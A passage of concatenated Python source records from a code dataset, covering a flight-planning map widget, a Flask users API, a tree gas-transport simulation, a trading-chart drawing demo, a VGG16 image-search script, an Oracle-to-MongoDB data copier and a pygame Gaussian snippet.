self.pdlg.setValue(1)\n QtWidgets.QApplication.processEvents()\n\n self.plotter.redraw_map(kwargs_update)\n\n self.pdlg.setValue(5)\n QtWidgets.QApplication.processEvents()\n\n # 3) UPDATE COORDINATES OF NON-MAP OBJECTS.\n self.pdlg.setValue(8)\n QtWidgets.QApplication.processEvents()\n\n for segment in self.satoverpasspatch:\n segment.update()\n\n if self.kmloverlay:\n self.kmloverlay.update()\n\n if self.multiple_flightpath:\n self.multiple_flightpath.update()\n\n # self.draw_metadata() ; It is not needed here, since below here already plot title is being set.\n self.repaint()\n\n # Update in case of a operationion change\n self.waypoints_interactor.update()\n\n self.pdlg.setValue(10)\n QtWidgets.QApplication.processEvents()\n\n logging.debug(\"finished redrawing map\")\n self.pdlg.close()\n\n # Emit signal so other parts of the module can react to a redraw event.\n self.redrawn.emit()\n\n def get_crs(self):\n \"\"\"Get the coordinate reference system of the displayed map.\n \"\"\"\n return self.plotter.map.crs\n\n def getBBOX(self):\n \"\"\"\n Get the bounding box of the map\n (returns a 4-tuple llx, lly, urx, ury) in degree or meters.\n \"\"\"\n return self.plotter.getBBOX()\n\n def clear_figure(self):\n logging.debug(\"Removing image\")\n self.plotter.clear_figure()\n\n def draw_image(self, img):\n self.plotter.draw_image(img)\n\n def draw_legend(self, img):\n \"\"\"Draw the legend graphics img on the current plot.\n Adds new axes to the plot that accomodate the legend.\n \"\"\"\n self.plotter.draw_legend(img)\n # required so that it is actually drawn...\n QtWidgets.QApplication.processEvents()\n\n def plot_satellite_overpass(self, segments):\n \"\"\"Plots a satellite track on top of the map.\n \"\"\"\n # If track is currently plotted on the map, remove it.\n for segment in self.satoverpasspatch:\n segment.remove()\n self.satoverpasspatch = []\n\n if segments:\n # Create a new patch.\n self.satoverpasspatch = [\n mpl_map.SatelliteOverpassPatch(self.map, segment)\n for segment in segments]\n self.draw()\n\n def plot_kml(self, kmloverlay):\n \"\"\"Plots a satellite track on top of the map.\n \"\"\"\n self.kmloverlay = kmloverlay\n\n def plot_multiple_flightpath(self, multiple_flightpath):\n \"\"\"Plots a multiple flightpaths on topview of the map\n \"\"\"\n self.multiple_flightpath = multiple_flightpath\n\n def set_settings(self, settings, save=False):\n \"\"\"Apply settings from dictionary 'settings_dict' to the view.\n\n If settings is None, apply default settings.\n \"\"\"\n self.plotter.set_settings(settings, save)\n settings = self.get_settings()\n if self.waypoints_interactor is not None:\n wpi_plotter = self.waypoints_interactor.plotter\n wpi_plotter.set_path_color(line_color=settings[\"colour_ft_vertices\"],\n marker_facecolor=settings[\"colour_ft_waypoints\"])\n wpi_plotter.show_marker = settings[\"draw_marker\"]\n wpi_plotter.set_vertices_visible(settings[\"draw_flighttrack\"])\n wpi_plotter.set_labels_visible(settings[\"label_flighttrack\"])\n\n self.draw()\n\n def set_remote_sensing_appearance(self, settings):\n wpi_plotter = self.waypoints_interactor.plotter\n wpi_plotter.set_remote_sensing(settings[\"reference\"])\n wpi_plotter.set_tangent_visible(settings[\"draw_tangents\"])\n wpi_plotter.set_solar_angle_visible(settings[\"show_solar_angle\"])\n\n self.waypoints_interactor.redraw_path()\n\n\nclass MplTopViewWidget(MplNavBarWidget):\n \"\"\"MplNavBarWidget using an MplSideViewCanvas as the Matplotlib\n view instance.\n \"\"\"\n\n def __init__(self, parent=None):\n super().__init__(\n sideview=False, parent=parent, canvas=MplTopViewCanvas())\n # Disable some elements of the Matplotlib navigation toolbar.\n # Available actions: Home, Back, Forward, Pan, Zoom, Subplots,\n # Customize, Save\n actions = self.navbar.actions()\n for action in actions:\n if action.text() in [\"Subplots\", \"Customize\"]:\n action.setEnabled(False)\n","sub_path":"mslib/msui/mpl_qtwidget.py","file_name":"mpl_qtwidget.py","file_ext":"py","file_size_in_byte":68280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"298698575","text":"from functools import reduce\nfrom flask import Blueprint, g\nfrom models.user import User, UserSchema\nfrom lib.secure_route import secure_route\n\napi = Blueprint('users', __name__)\n\nusers_schema = UserSchema(many=True)\nuser_schema = UserSchema()\n\n@api.route('/users', methods=['GET'])\ndef index():\n users = User.query.all()\n return users_schema.jsonify(users)\n\n@api.route('/users/most-prolific', methods=['GET'])\ndef most():\n\n def find_most_prolific(current, found):\n if len(current.created_articles) > len(found.created_articles):\n return current\n\n return found\n\n\n users = User.query.all()\n most_prolific = reduce(find_most_prolific, users)\n\n return user_schema.jsonify(most_prolific)\n\n\n@api.route('/users/', methods=['GET'])\ndef show(user_id):\n user = User.query.get(user_id)\n return user_schema.jsonify(user)\n\n@api.route('/me', methods=['GET'])\n@secure_route\ndef me():\n return user_schema.jsonify(g.current_user)\n","sub_path":"controllers/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"175943795","text":"from typing import List, Dict\nimport numpy as np\nfrom scipy.integrate import solve_ivp\n\nfrom .tools.iotools import compound_properties_to_dict, initialize_netcdf, write_netcdf\nfrom .odefun_gas import odefun_gas\nfrom .model_variables import cmp_variables\n\n\nclass Gas:\n ''' Defines a Gas class for calculating axial advection, diffusion and radial diffusion of a single compound in a cylindrical tree.\n List[float], List[List[float]] and List[List[List[float]]] argumnets are passed through numpy.asarray() function i.e., they can be also given as appropriate\n numpy arrays. List[float] argumetns need to have shape (num_axial_elements,), List[List[float]] shape (num_axial_elements, num_radial_elements)\n and List[List[List[float]]] either shape (num_axial_elements, num_radial_elements,3) for space_division or (num_axial_elements, num_radial_elements,2) for concentration\n where the last dimensions index 0 marks gaseous phase and index 1 aqueous phase and index 2 cell (in space division)\n Args:\n num_radial_elements (int): Number of radial elements.\n num_axial_elements (int): Number of axial elements.\n element_length (List[List[float]]): Length of each radial element (:math:`m`). The element length is determined by\n :math:`\\\\text{element length} = \\\\frac{\\\\text{tree radius}}{\\\\text{number of radial elements}}`.\n element_height (List[List[float]]): Height of each vertical element (:math:`m`). The element height is determined by\n :math:`\\\\text{element height} = \\\\frac{\\\\text{tree height}}{\\\\text{number of axial elements}}`.\n radial_diffusion_coefficient (List[List[float]]): Gas phase radial diffusion coefficient in each element (:math:`\\\\frac{m^2}{s}`).\n equilibration_rate (float): Rate which gaseous and aqueous phase equlibrate according to Henry's law (:math:`s^{-1}`).\n velocity (List[List[float]]): Sap flow velocity in each element (:math:`\\\\frac{m}{s}`)\n space_division (List[List[List[float]]]): Volume fraction of gas, aqeous phases and cell in each element.\n concentration (List[List[List[float]]]): Concentration of the compound (:math:`\\\\frac{mol}{m^3}`)\n henrys_law_coefficient (float): Coefficient of Henry's law (:math:`\\frac{mol_{\\\\text{aq}}{mol_{\\\\{gas}}}`)\n temperature (float): Temperature in each element (:math:`K`). The compound is assumed to be in thermal equilibrium with the element.\n ambient_concentration (List[float]): Concentration of the compound in the gas phase outside the tree (:math:`\\\\frac{mol}{m^3}`).\n sources_and_sinks (List[float]): Source and/or sink strenghts in each layer (:math:`\\\\frac{mol}{s}`).\n soil_compound_aq_concentration (List[List[float]]): Concentration of the compound in the soil in the aqueous phase (:math:`\\\\frac{mol}{m^3}`).\n axial_water_uptake (List[float]): Uptake rate of water (:math:`\\\\frac{m^3}{s}`). This is ment to be set nonzero for the root elements.\n axial_diffusion_coefficient (List[List[float]]): Gas phase diffusion coefficient in the axial direction for each element (:math:`\\\\frac{m^2}{s}`).\n outputfile (str, optional): Name of the outputfile. Defaults to None. If None no file will be saved.\n max_output_lines (int, optional): How many lines to write for every call of run-method. Defaults to 100.\n\n Attributes:\n self.nr (float): Number of radial elements.\n self.na (float): Number of axial elements.\n self.element_length (np.ndarray): Length of each radial element (:math:`m`).\n self.element_height (np.ndarray): Height of each vertical element (:math:`m`).\n self.radial_diffusion_coefficient (np.ndarray): Gas phase radial diffusion coefficient in each element (:math:`\\\\frac{m^2}{s}`).\n self.axial_diffusion_coefficinet (np.ndarray): Gas phase diffusion coefficient in the axial direction for each element (:math:`\\\\frac{m^2}{s}`).\n self.equilibration_rate (float): Rate which gaseous and aqueous phase equlibrate according to Henry's law (:math:`s^{-1}`).\n self.velocity (np.ndarray): Sap flow velocity in each element (:math:`\\\\frac{m}{s}`).\n self.space_division (np.ndarray): Volume fraction of gas, aqeous phases and cell in each element.\n self.concentration (np.ndarray): Concentration of the compound (:math:`\\\\frac{mol}{m^3}`).\n self.kh (float): Coefficient of Henry's law (:math:`\\frac{mol_{\\\\text{aq}}{mol_{\\\\{gas}}}`).\n self.temperature (float): Temperature in each element (:math:`K`).\n self.ambient_concentration (np.ndarray): Concentration of the compound in the gas phase outside the tree (:math:`\\\\frac{mol}{m^3}`).\n self.n_out (np.ndarray): Amount of the compound that has diffused out of the system in each vertical layer (:math:`mol`)\n self.n_in (np.ndarray): Amount of the compound in each element (:math:`mol`)\n self.sources_and_sinks (np.ndarray): Source and/or sink strenghts in each layer (:math:`\\\\frac{mol}{s}`).\n self.radius_from_pith (np.ndarray): Radius from the pith to the end of the element (:math:`m`)\n self.radius_mid_point (np.ndarray): Radius from the pit to the middle of the leement (:math:`m`)\n self.head_area (np.ndarray): Top surface area of the element (:math:`m^2`)\n self.head_area_water (np.ndarray): Top surface area of the aqueous phase of the element (:math:`m^2`)\n self.element_volume (np.ndarray): Volume of each element (:math:`m^3`)\n self.element_volume_air (np.ndarray): Volume of the gaseous phase in each element (:math:`m^3`)\n self.element_volume_water (np.ndarray): Volume of the aqueous phase in each element (:math:`m^3`)\n self.element_volume_cell (np.ndarray): Cell volume in each element (:math:`m^3`)\n self.soil_compound_aq_concentration (np.ndarray): Concentration of the compound in the soil in the aqueous phase (:math:`\\\\frac{mol}{m^3}`).\n This is ment to be nonzero for the root elements.\n self.axial_water_uptake (np.ndarray): Uptake rate of water (:math:`\\\\frac{m^3}{s}`). This is ment to be nonzero for the root elements.\n self.outputfile (str): Name of the outputfile. Defaults to None. If None no file will be saved.\n self.max_output_lines (int): How many lines to write for every call of run-method. Defaults to 100.\n '''\n\n def __init__(self, num_radial_elements: int,\n num_axial_elements: int,\n element_length: List[List[float]],\n element_height: List[List[float]],\n radial_diffusion_coefficient: List[List[float]],\n equilibration_rate: float,\n velocity: List[List[float]],\n space_division: List[List[List[float]]],\n concentration: List[List[List[float]]],\n henrys_law_coefficient: float,\n temperature: float,\n ambient_concentration: List[float],\n sources_and_sinks: List[float],\n soil_compound_aq_concentration: List[List[float]],\n axial_water_uptake: List[float],\n axial_diffusion_coefficient: List[List[float]] = None,\n outputfile: str = None,\n max_output_lines: int = 100\n ):\n\n self.nr: float = num_radial_elements\n self.na: float = num_axial_elements\n self.element_length: np.ndarray = np.asarray(element_length).reshape(self.na, self.nr)\n self.element_height: np.ndarray = np.asarray(element_height).reshape(self.na, self.nr)\n self.radial_diffusion_coefficient: np.ndarray = np.asarray(radial_diffusion_coefficient).reshape(self.na, self.nr)\n self.equilibration_rate: float = equilibration_rate\n self.velocity: np.ndarray = np.asarray(velocity).reshape(self.na, self.nr)\n # space division marks the fraction between air, water and cell wall in this order\n self.space_division: np.ndarray = np.asarray(space_division).reshape(self.na, self.nr, 3)\n self.concentration: np.ndarray = np.asarray(concentration).reshape(self.na, self.nr, 2)\n self.kh: float = henrys_law_coefficient # kh = cwater/cair [kh] = (m^3 water / m^3 air)\n self.temperature: float = temperature\n self.ambient_concentration: np.ndarray = np.asarray(ambient_concentration)\n self.n_out: np.ndarray = np.zeros((self.na, 1))\n self.sources_and_sinks: np.ndarray = sources_and_sinks.reshape(self.na, self.nr, 2)\n # soil compound concentration includes gas and aq phase soil concentration in every axial element\n self.soil_compound_aq_concentration = np.asarray(soil_compound_aq_concentration).reshape(self.na, 1)\n self.axial_water_uptake = np.asarray(axial_water_uptake).reshape(self.na, 1)\n self.outputfile: str = outputfile\n self.max_output_lines: int = max_output_lines\n\n # set radii and midpoint lengths, head A and volume for the tree. Should speed long computations\n # TODO: define methods to update these if tree dimensions change\n self.radius_from_pith: np.ndarray = np.cumsum(self.element_length, axis=1)\n r_to_end: np.ndarray = np.concatenate((np.zeros((self.na, 1)), self.element_length), axis=1)\n cumulative_sum: np.ndarray = np.cumsum(r_to_end, axis=1)\n self.radius_mid_point = np.diff(cumulative_sum)/2.0 + cumulative_sum[:, :-1]\n\n self.length_from_bottom = np.flip(np.cumsum(self.element_height, axis=0))\n self.length_to_end: np.ndarray = np.concatenate((self.length_from_bottom, np.zeros((1, self.nr))), axis=0)\n\n self.length_mid_point = np.diff(self.length_to_end, axis=0)/2 + self.length_to_end[:-1, :]\n\n self.head_area: np.ndarray = self.radius_from_pith**2.0\n self.head_area[:, 1:] = self.head_area[:, 1:] - self.head_area[:, :-1]\n self.head_area = self.head_area * np.pi\n self.head_area_water = self.head_area * space_division[:, :, 1]\n self.element_volume: np.ndarray = self.head_area * self.element_height\n self.element_volume_air = self.space_division[:, :, 0]*self.element_volume\n self.element_volume_water = self.space_division[:, :, 1]*self.element_volume\n self.element_volume_cell = self.space_division[:, :, 2]*self.element_volume\n\n if axial_diffusion_coefficient is not None:\n self.axial_diffusion_coefficient = axial_diffusion_coefficient\n else:\n self.axial_diffusion_coefficient = np.zeros((self.na, self.nr))\n\n # Set number of moles of compound in gas and aq phases\n self.n_in = np.zeros_like(self.concentration)\n self.n_in[:, :, 0] = self.concentration[:, :, 0]*self.element_volume_air\n self.n_in[:, :, 1] = self.concentration[:, :, 1]*self.element_volume_water\n\n # Initialize a netcdf file for saving results\n if self.outputfile is not None:\n dims: Dict = {\"axial_layers\": self.na, \"radial_layers\": self.nr, \"space_layers\": 2}\n self.ncf = initialize_netcdf(outputfile, dims, cmp_variables)\n\n def radial_surface_area(self):\n \"\"\" Returns the radial surface A through which molecules diffuse in radial direction\n\n Returns:\n np.ndarray: Radial surface area of each element (:math:`m^2`)\n \"\"\"\n r = self.radius_from_pith\n h = self.element_height\n return 2*np.pi*r*h\n\n def gas_radial_diffusion(self):\n \"\"\" Calculates radial diffusion flux of the compound in the gas phase\n\n Returns:\n np.ndarray: Radial diffusion flux in each element (:math:`\\\\frac{mol}{s}`)\n \"\"\"\n A = self.radial_surface_area()\n dr = np.diff(self.radius_mid_point)\n D = self.radial_diffusion_coefficient\n dr_atm = (self.radius_from_pith[:, -1] - self.radius_mid_point[:, -1])\n\n # calculate concentration\n\n c_gas = self.n_in[:, :, 0]/self.element_volume_air\n\n # initialize flux matrices\n Q_rad = np.zeros((self.na, self.nr))\n\n Q_out = np.zeros((self.na, self.nr))\n\n Q_in = np.zeros((self.na, self.nr))\n\n # Calculate flux\n Q_out[:, :-1] = D[:, :-1] * A[:, :-1] / dr * np.diff(c_gas, axis=1)\n Q_out[:, -1] = D[:, -1] * A[:, -1] / dr_atm \\\n * (self.ambient_concentration.reshape(self.na,) - c_gas[:, -1])\n\n Q_in[:, 1:] = -1.0*D[:, 1:] * A[:, :-1] / dr * np.diff(c_gas, axis=1)\n Q_rad = Q_out+Q_in\n\n return Q_rad, Q_out, Q_in\n\n def aq_axial_advection(self):\n \"\"\"Calculates axial advection flux of the compound in the aqueous phase\n\n Returns:\n np.ndarray: Axial advection flux in the aqueous phase in each element (:math:`\\\\frac{mol}{s}`)\n \"\"\"\n\n # Initialize flux matrices\n Q_ax_top_pos = np.zeros((self.na, self.nr))\n Q_ax_bottom_pos = np.zeros((self.na, self.nr))\n Q_ax_top_neg = np.zeros((self.na, self.nr))\n Q_ax_bottom_neg = np.zeros((self.na, self.nr))\n\n # Convenience determination of variables. Can be removed for speed up\n v = self.velocity\n A = self.head_area\n\n # Define concentration\n c_aq = self.n_in[:, :, 1] / self.element_volume_water\n\n # Calculate fluxs\n Q_ax_top_pos[1:, :] = -v[1:, :]*A[1:, :]*c_aq[1:, :]\n Q_ax_bottom_pos[:-1, :] = v[1:, :]*A[1:, :]*c_aq[1:, :]\n Q_ax_top_neg[1:, :] = -v[1:, :]*A[1:, :]*c_aq[:-1, :]\n Q_ax_bottom_neg[:-1, :] = v[1:, :]*A[1:, :]*c_aq[:-1, :]\n\n # Change amounts that are not real to zero\n\n # Q_ax_top_pos is always negative when velocity > 0\n Q_ax_top_pos[Q_ax_top_pos > 0.0] = 0.0\n\n # Q_ax_bottom_pos is alays positive when velocity > 0\n Q_ax_bottom_pos[Q_ax_bottom_pos < 0.0] = 0.0\n\n # Q_ax_top_neg is always positive when velocity < 0\n Q_ax_top_neg[Q_ax_top_neg < 0.0] = 0.0\n\n # Q_ax_bottom_neg is always negative when velocity < 0\n Q_ax_bottom_neg[Q_ax_bottom_neg > 0.0] = 0.0\n\n Q_ax = Q_ax_top_pos + Q_ax_bottom_pos + Q_ax_top_neg + Q_ax_bottom_neg\n\n return Q_ax\n\n def gas_axial_diffusion(self):\n \"\"\" Calculates axial diffusion of the compound in the gas phase.\n\n Returns:\n np.ndarray: Axial diffusion flux in the gas phase in each element (:math:`\\\\frac{mol}{s}`)\n \"\"\"\n # Initialize flux matrices\n Q_ax_top = np.zeros((self.na, self.nr))\n Q_ax_bottom = np.zeros((self.na, self.nr))\n Q_ax = np.zeros((self.na, self.nr))\n\n # Convienence variables. Can be removed for speed up\n A = self.head_area\n\n\n # gas phase concentration\n c_gas = self.n_in[:, :, 0] / self.element_volume_air\n\n Q_ax_top[1:, :] = -1.0*self.axial_diffusion_coefficient[1:, :]*A[1:,:]*np.diff(c_gas, axis=0)/(-1.0*np.diff(self.length_mid_point, axis=0))\n Q_ax_bottom[:-1, :] = self.axial_diffusion_coefficient[1:, :]*A[1:, :]*np.diff(c_gas, axis=0)/(-1.0*np.diff(self.length_mid_point, axis=0))\n\n dl_top = (self.length_from_bottom[0, :] - self.length_mid_point[0, :])\n dl_bottom = (self.length_from_bottom[-1, :] - self.length_mid_point[-1, :])\n Q_ax_top[0, :] = A[0, :] * self.axial_diffusion_coefficient[0, :] * (self.ambient_concentration[0] - c_gas[0, :])/dl_top\n Q_ax_bottom[-1, :] = A[-1, :] * self.axial_diffusion_coefficient[-1, :] * (\n self.ambient_concentration[-1] - c_gas[-1, :]) /dl_bottom\n Q_ax = Q_ax_top+Q_ax_bottom\n return Q_ax, Q_ax_top, Q_ax_bottom\n\n def air_water_fluxes(self):\n \"\"\" Calculates the equilibration flux between gas and aqeous phases.\n\n Returns:\n np.ndarray: Equilibration flux between gas and aqueous phase (:math:`\\\\frac{mol}{s}`)\n \"\"\"\n # Initialize flux matrix. In the last dimension index 0 is for gas phase and index 1 for aqueous phase\n Q_air_water = np.zeros((self.na, self.nr, 2))\n\n # Concentrations\n c_gas = self.n_in[:, :, 0] / self.element_volume_air\n c_aq = self.n_in[:, :, 1] / self.element_volume_water\n\n # Calculate fluxes\n Q_air_water[:, :, 0] = (c_aq - c_gas*self.kh)*self.element_volume_water*self.equilibration_rate\n Q_air_water[:, :, 1] = -1.0*Q_air_water[:, :, 0] # What leaves from gas phase must enter to aqueous phase and vice versa\n\n return Q_air_water\n\n def axial_water_uptake_source(self):\n \"\"\" Calculates compound uptake or loss from water uptake in each axial element. This flux meant to be zero if the element is not a root element\n\n Returns:\n Axial diffusion flux in the gas phase in each element (:math:`\\\\frac{mol}{s}`)\n \"\"\"\n R_root = np.zeros((self.na, self.nr, 2))\n c_aq = self.n_in[:, :, 1] / self.element_volume_water\n\n Q_compound_aq_concentration = self.axial_water_uptake * self.soil_compound_aq_concentration\n\n # Elements where compound travel from roots to soil need to be handeld differently.\n # In this case the correct concentration is not the soil_compound_aq_concentration but\n # the concentration in that root element\n neg_mask = np.where(self.axial_water_uptake < 0)[0]\n if neg_mask.shape[0] > 0:\n Q_compound_aq_concentration[neg_mask] = self.axial_water_uptake[neg_mask]\\\n * c_aq[neg_mask, -1].reshape(len(neg_mask), 1)\n\n # Reshape and set to aq phase of outermost element of R_root\n R_root[:, -1, 1] = Q_compound_aq_concentration.reshape(self.na,)\n\n return R_root\n\n def run(self, time_start: float, time_end: float):\n \"\"\" Runs the gas transport object from time_start to time_end and save results starting from the current state of the instance.\n\n Args:\n time_start (float): Time where the ODE solution starts\n time_end (float): Time where the ODE solution ends\n\n Returns:\n Object: Solution object of scipy.interpolate.solve_ivp\n \"\"\"\n\n yinit = np.concatenate((self.n_in.reshape(self.na * self.nr * 2, order='F'),\n self.n_out.reshape(self.na, order='F')))\n if time_start == 0:\n time_start = 1e-10\n sol = solve_ivp(lambda t, y: odefun_gas(t, y, self), (time_start, time_end), yinit, method='RK45',\n rtol=1e-4, atol=1e-11)\n n_in = sol.y[:, -1]\n self.n_in = n_in[:self.na*self.nr*2].reshape(self.na, self.nr, 2, order='F')\n\n self.n_out = n_in[self.na*self.nr*2:].reshape(self.na, 1, order='F')\n res = sol.y\n time = sol.t\n if self.outputfile is not None:\n\n results = compound_properties_to_dict(self)\n # trim the solution for saving if the length of solution points exceeds maximum\n if self.max_output_lines == 1 or res.shape[1] <= self.max_output_lines:\n res = res[:, -1]\n time = time[-1]\n results['cmp_moles_in'] = res[:self.na*self.nr*2].reshape(self.na, self.nr, 2, order='F')\n results['cmp_moles_out'] = res[self.na*self.nr*2:].reshape(self.na, 1, order='F')\n results['cmp_simulation_time'] = time\n results['cmp_gas_radial_diffusion_flux'], _, _ = self.gas_radial_diffusion()\n results['cmp_gas_axial_diffusion_flux'], _, _ = self.gas_axial_diffusion()\n results['cmp_aq_axial_advection_flux'] = self.aq_axial_advection()\n results['cmp_eq_flux'] = self.air_water_fluxes()\n\n c_gas = results['cmp_moles_in'][:, :, 0] / self.element_volume_air\n c_aq = results['cmp_moles_in'][:, :, 1] / self.element_volume_water\n\n results['cmp_concentration'] = np.stack((c_gas, c_aq), axis=2)\n write_netcdf(self.ncf, results)\n elif res.shape[1] > self.max_output_lines:\n ind = np.concatenate(([0],\n np.arange(1, res.shape[1]-2,\n int(np.round((res.shape[1]-2)/(self.max_output_lines-2)))),\n [res.shape[1]-1]))\n res = res[:, ind]\n time = time[ind]\n\n for (ind, line) in enumerate(np.rollaxis(res, 1)):\n results['cmp_moles_in'] = line[:self.na*self.nr*2].reshape(self.na, self.nr, 2, order='F')\n results['cmp_moles_out'] = line[self.na*self.nr*2:].reshape(self.na, 1, order='F')\n results['cmp_simulation_time'] = time[ind]\n results['cmp_gas_radial_diffusion_flux'], _, _ = self.gas_radial_diffusion()\n results['cmp_gas_axial_diffusion_flux'] = self.gas_axial_diffusion()\n results['cmp_aq_axial_advection_flux'] = self.aq_axial_advection()\n results['cmp_eq_flux'] = self.air_water_fluxes()\n c_gas = results['cmp_moles_in'][:, :, 0] / self.element_volume_air\n c_aq = results['cmp_moles_in'][:, :, 1] / self.element_volume_water\n\n results['cmp_concentration'] = np.stack((c_gas, c_aq), axis=2)\n write_netcdf(self.ncf, results)\n\n return sol\n\n def run_euler(self, time_start: float, time_end: float, dt: float):\n \"\"\" Runs the gas transport object from time_start to time_end.\n NB! It is better to use the run method than run_euler method. The run_euler method is meant for debugging.\n\n Args:\n time_start (float): Time where the ODE solution starts (:math:`s`)\n time_end (float): Time where the ODE solution ends (:math:`s`)\n dt (float): time step (:math:`s`)\n \"\"\"\n time = time_start\n while time < time_end:\n Q_ax = self.aq_axial_advection()\n Q_rad, Q_out, _ = self.gas_radial_diffusion()\n Q_air_water = self.air_water_fluxes()\n R = self.sources_and_sinks()\n\n dndt_air = (Q_rad + R[:, :, 0] + Q_air_water[:, :, 0])\n dndt_water = (Q_ax + R[:, :, 1] + Q_air_water[:, :, 1])\n dndt_out = -1.0*Q_out[:, -1]\n\n self.n_out = self.n_out + dndt_out*dt\n self.n_in[:, :, 0] = self.n_in[:, :, 0] + dndt_air*dt\n self.n_in[:, :, 1] = self.n_in[:, :, 1] + dndt_water*dt\n time = time + dt\n","sub_path":"src/gas.py","file_name":"gas.py","file_ext":"py","file_size_in_byte":22578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"579368473","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n__author__ = 'limin'\n\nfrom tqsdk import TqApi\n\n'''\n画图示例: 在主图中画信号线及文字标注\n注意:1 画图功能仅在天勤终端/天勤Vscode插件中生效,请在这两个平台中运行画图相关的代码\n 2 画图示例中用到的数据不含有实际意义,请根据自己的实际策略情况进行修改\n'''\n\napi = TqApi()\nklines = api.get_kline_serial(\"SHFE.au1912\", 86400)\n\n# 在主图中最后一根K线上画射线以标注需要的信号\napi.draw_line(klines, -1, klines.iloc[-1].close, -1, klines.iloc[-1].high, line_type=\"RAY\", color=0xFFFF9900, width=3)\n# 绘制字符串\napi.draw_text(klines, \"信号1\", x=-1, y=klines.iloc[-1].high + 5, color=0xFFFF3333)\n\napi.close() # 需要调用此函数将画图数据发送给天勤并关闭api\n","sub_path":"tqsdk/demo/tutorial/t92.py","file_name":"t92.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"260295520","text":"import h5py\nimport numpy as np\nimport Config_oxbuild_images_2 as config\nimport cv2\nfrom RGBMeanSubtractionPreprocessor import RGBMeanSubtractionPreprocessor\nfrom ImageToArrayPreprocessor import ImageToArrayPreprocessor\nfrom ImagePreprocessor import ImagePreprocessor\nimport os\nimport json\nfrom tensorflow.keras.models import load_model\nfrom tensorflow.keras.models import Model\nfrom Searcher import Searcher\nimport progressbar\nfrom ResizeWithARPreprocessor import ResizeWithARPreprocessor\nimport argparse\n\nap = argparse.ArgumentParser()\nap.add_argument(\"-q\", \"--query\", required=True, type=str, help=\"path of query image\")\nap.add_argument(\"-n\", \"--number\", required=False, type=int, default=6, help=\"number of query result\")\nap.add_argument(\"-d\", \"--height\", required=False, type=int, default=600, help=\"height of displayed image\")\nargs = vars(ap.parse_args())\n\nIMAGES_PATH=\"datasets\\\\oxbuild_images\\\\images_search\"\n\nmodelPath = os.path.sep.join([config.OUTPUT_PATH, \"VGG16_oxbuild_images.hdf5\"])\nmeans = json.loads(open(config.DATASET_RGBMEAN).read())\n\nmodel = load_model(modelPath)\nx = model.layers[-2].output\nmodel = Model(inputs = model.input, outputs = x)\n\nip = ImagePreprocessor(224, 224)\nmp = RGBMeanSubtractionPreprocessor(means[\"R\"], means[\"G\"], means[\"B\"])\nitap = ImageToArrayPreprocessor()\n\ntxtsPath=\"datasets/oxbuild_images/gt_files_170407\"\n\nqueries=[args[\"query\"]]\n\nwidgets = [\"Searching: \", progressbar.Percentage(), \" \", progressbar.Bar(), \" \", progressbar.ETA()]\npbar = progressbar.ProgressBar(maxval=len(queries),\nwidgets=widgets).start()\n\nrwarp = ResizeWithARPreprocessor(height=args[\"height\"])\nfor (i_pbar, query) in enumerate(queries):\n\n queryImageID = query\n \n posImages=[]\n nullImages=[]\n \n nullImages.append(queryImageID)\n \n batchImages = []\n \n queryImage = cv2.imread(queryImageID)\n queryImage = queryImage.astype('Float64')\n queryImage = ip.preprocess(queryImage)\n queryImage = mp.preprocess(queryImage)\n queryImage = itap.preprocess(queryImage)\n queryImage = np.expand_dims(queryImage, axis=0)\n batchImages.append(queryImage)\n \n batchImages = np.vstack(batchImages)\n queryFeature = model.predict(batchImages, batch_size=20)\n queryFeature = queryFeature.reshape((queryFeature.shape[0], 256))\n \n searcher = Searcher(os.path.sep.join([config.HDF5_PATH, \"features_105K_VGG16.hdf5\"]))\n \n results = searcher.search_h5py(queryFeature[0], limit=-1)\n \n ranked_list = [(result[1].split('\\\\')[-1]).split(\".\")[0] for result in results]\n \n # cv2.imshow(query, cv2.imread(os.path.join(config.IMAGES_PATH, queryImageID+\".jpg\")))\n # cv2.waitKey(0)\n\n intersect_size = 0;\n i = 0\n j = 0\n while i 0:\n his_raw['time'] = his_raw['DATETIME'].apply(lambda x: int(time.mktime(x.timetuple())))\n # sid = zbid # dma_util.zbid2sid(zbid)\n sid = dma_util.zbid2sid(zbid)\n data_util.save_history_cleaning(sid, his_raw, 'time', 'DATAVALUE')\n except Exception as err:\n logging.error('zjdb to mongodb error: %s' % str(err))\n traceback.print_exc()\n\n\n\"\"\" 以下为私有方法 \"\"\"\nFORMAT_TIME = '%Y-%m-%d %H:%M:%S'\nFORMAT_ORA_DATE = 'yyyy-mm-dd hh24:mi:ss'\n\n\ndef _get_zjdb_data(s_id, s_time, e_time):\n \"\"\" 获取scada数据 \"\"\"\n s_str = time.strftime(FORMAT_TIME, s_time)\n e_str = time.strftime(FORMAT_TIME, e_time)\n sql = \"select itemname, datetime, datavalue from t_scadadata_his_qx where itemname='%s' \" \\\n \"and datetime >= to_date('%s','%s') and datetime <= to_date('%s','%s') \" \\\n \"\" % (s_id, s_str, FORMAT_ORA_DATE, e_str, FORMAT_ORA_DATE)\n # print(sql)\n res = oracle.query(ctx.zjdb, sql)\n if len(res) > 0:\n return pd.DataFrame(res)\n return None\n","sub_path":"src/workers/hpss_zjdb_to_mongo.py","file_name":"hpss_zjdb_to_mongo.py","file_ext":"py","file_size_in_byte":1526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"358209855","text":"#!/usr/bin/env python\n\nimport pygame\nfrom pygame.locals import *\nfrom sys import exit\n#from pylab import *\nimport numpy as np\nimport scipy.ndimage.filters as snf\n\ndef xy_rotate(x, y, xcen, ycen, phi):\n\n\tphirad = np.deg2rad(phi)\n\txnew = (x - xcen) * np.cos(phirad) + (y - ycen) * np.sin(phirad)\n\tynew = (y - ycen) * np.cos(phirad) - (x - xcen) * np.sin(phirad)\n\treturn (xnew,ynew)\n\ndef gauss_2d(x, y, par):\n\n\t(xnew,ynew) = xy_rotate(x, y, par[2], par[3], par[5])\n\tr_ell_sq = ((xnew**2)*par[4] + (ynew**2)/par[4]) / np.abs(par[1])**2\n\treturn par[0] * 